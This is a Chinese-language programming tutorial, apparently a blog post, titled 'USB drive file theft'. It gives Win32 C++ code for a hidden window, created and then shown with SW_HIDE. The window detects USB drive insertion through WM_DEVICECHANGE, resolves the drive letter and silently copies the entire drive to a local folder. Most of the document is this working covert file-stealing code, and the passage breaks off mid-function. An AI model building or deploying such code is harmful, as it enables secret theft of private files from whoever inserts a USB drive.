U盘文件盗取(Win32程序)
要根据下面的流程图来做,先做一个捕捉消息的窗口,如果插入U盘的话,窗口会捕捉到WM_DEVICECHANGE消息,窗口一直处于激活状态,所每次捕捉到消息就会调用获取盘符的函数,并且创建一个线程调用复制函数。最后写出工作日志。
首先是创建窗口函数,
这里需要注意的是因为我项目用的字符集是Unicode,
所以字符串前都加了L,
如果需要修改的话就点击项目->属性->高级->字符集修改成使用多字节字符集。
// 程序入口点
int CALLBACK WinMain(
_In_ HINSTANCE hInstance,
_In_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
)
{
//注册热键
// 类名
// 设计窗口类
WNDCLASS wc = {
};
wc.hbrBackground = (HBRUSH)COLOR_WINDOW;
wc.lpfnWndProc = WindowProc;
wc.lpszClassName = L"cls_Name";
wc.hInstance = hInstance;
// 注册窗口类
RegisterClass(&wc);
// 创建窗口
HWND hwnd = CreateWindow(
L"cls_Name", //类名,要和刚才注册的一致
L"我的应用程序", //窗口标题文字
WS_OVERLAPPEDWINDOW, //窗口外观样式
38, //窗口相对于父级的X坐标
20, //窗口相对于父级的Y坐标
480, //窗口的宽度
250, //窗口的高度
NULL, //没有父窗口,为NULL
NULL, //没有菜单,为NULL
hInstance, //当前应用程序的实例句柄
NULL); //没有附加数据,为NULL
if (hwnd == NULL) //检查窗口是否创建成功
return 0;
// 显示窗口
ShowWindow(hwnd, SW_HIDE);
// 更新窗口
UpdateWindow(hwnd);
// 消息循环
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
然后捕捉到消息会调用窗口实例化 wc.lpfnWndProc = WindowProc; 中的WindowProc函数。这个函数中如果收到消息WM_DEVICECHANGE就会调用 DeviceChange(uMsg, wParam, lParam) 函数。
// 在WinMain后实现
LRESULT CALLBACK WindowProc(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
switch (uMsg)
{
case WM_DEVICECHANGE: {
DeviceChange(uMsg, wParam, lParam);
return 0;
}
case WM_DESTROY:
{
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
DeviceChange(uMsg, wParam, lParam) 函数是用来判断是否是U盘插入的函数。这个函数用消息中的wParam判断是否是U盘,再用lParam来获得盘符。其中 FirstDriveFromMask(pDevVolume->dbcv_unitmask) 就是获取盘符函数。
//获取盘符
LRESULT DeviceChange(UINT message, WPARAM wParam, LPARAM lParam) {
if (DBT_DEVICEARRIVAL == wParam )
{
PDEV_BROADCAST_HDR pHdr = (PDEV_BROADCAST_HDR)lParam;
if (pHdr->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME pDevVolume = (PDEV_BROADCAST_VOLUME)lParam;
FirstDriveFromMask(pDevVolume->dbcv_unitmask);
}
}
return 0;
}
FirstDriveFromMask(pDevVolume->dbcv_unitmask) 函数,通过对32位的unitmask进行右移来判断是哪个盘,从盘符从A-Z。获得盘符以后进行复制,调用 COPYUP(char FormDir) 函数。
//计算盘符
void FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1 ) {
COPYUP(i + 'A');
break;
}
unitmask >>= 1;
}
return;
}
COPYUP(char FormDir) 函数,通过对盘符进行拼接,用SHFILEOPSTRUCT类进行文件复制,参数pFrom是源地址,参数pTo是目的地址。其中timeGetTime是为了获得复制文件消耗的时间,char2wchars是为了把char类型转换为 wchar* 类型。GetFolderSize函数是得到U盘内容大小,WriteLog是写日志的函数。
//对u盘进行拷贝
BOOL COPYUP(char FormDir) {
CStringW str;
DWORD start, end;
start = timeGetTime();
SHFILEOPSTRUCT fop;
fop.wFunc = FO_COPY;
CStringW path(FormDir);
path = path + ":\0";
fop.pFrom = path;
fop.pTo = L"F:\\copyup\0";
SHFileOperation(&fop);
end =